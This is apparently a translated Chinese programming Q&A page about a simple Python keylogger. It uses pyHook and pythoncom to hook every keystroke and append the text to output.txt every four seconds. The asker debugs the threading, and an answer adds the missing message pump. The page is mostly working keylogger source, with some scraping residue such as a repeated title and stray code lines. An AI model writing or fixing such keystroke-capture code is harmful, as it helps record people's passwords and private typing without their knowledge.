Python 对于简单的键盘记录器,在不同线程中以特定的时间间隔写入文件

Python 对于简单的键盘记录器,在不同线程中以特定的时间间隔写入文件,python,multithreading,file,logging,keyboard,Python,Multithreading,File,Logging,Keyboard,我不明白为什么这段代码没有将4秒后执行的所有击键写入名为“output.txt”的文件。没有抛出任何错误,因此我相信它编译正常,但它没有向文件写入任何内容 编辑: 我按照建议添加了pythoncom.PumpMessages(),但这实际上给出了两个while循环;那么,我需要线程来完成这个任务吗 我在这里尝试了线程版本: import pythoncom , pyHook, time temp_keylogs = '' def OnKeyboardEvent(event): glob

我不明白为什么这段代码没有将4秒后执行的所有击键写入名为“output.txt”的文件。没有抛出任何错误,因此我相信它编译正常,但它没有向文件写入任何内容

编辑: 我按照建议添加了
pythoncom.PumpMessages()
,但这实际上给出了两个while循环;那么,我需要线程来完成这个任务吗

我在这里尝试了线程版本:

import pythoncom , pyHook, time

temp_keylogs = ''
def OnKeyboardEvent(event):
    global temp_keylogs
    key = chr(event.Ascii)
    temp_keylogs += key

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

while True:
    f = open('output.txt', 'a')
    f.write(temp_keylogs)
    temp_keylogs = ''
    f.close()
    time.sleep(4)

但它仍然没有写入文件。因此,我仍然不确定是什么问题。

您错过了泵的消息

import pythoncom , pyHook, time, thread

temp_keylogs = ''
def OnKeyboardEvent(event):
    global temp_keylogs
    key = chr(event.Ascii)
    temp_keylogs += key

def file_write(temp_keylogs):
    while True:
        print 'yes'
        f = open('output.txt', 'a')
        f.write(temp_keylogs)
        f.close()
        temp_keylogs = ''
        time.sleep(4)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
    thread.start_new_thread( file_write, (temp_keylogs,) )
    thread.start_new_thread( pythoncom.PumpMessages() )
except:
    print 'thread not started'

没有它,你就无法使用钥匙。查看

如果我将这一行放入,但是,我永远无法在循环时进入我的
,因为
PumpMessages()
在循环之前。如果它在
while
循环之后,
PumpMessages()
将永远看不到。
pythoncom.PumpMessages()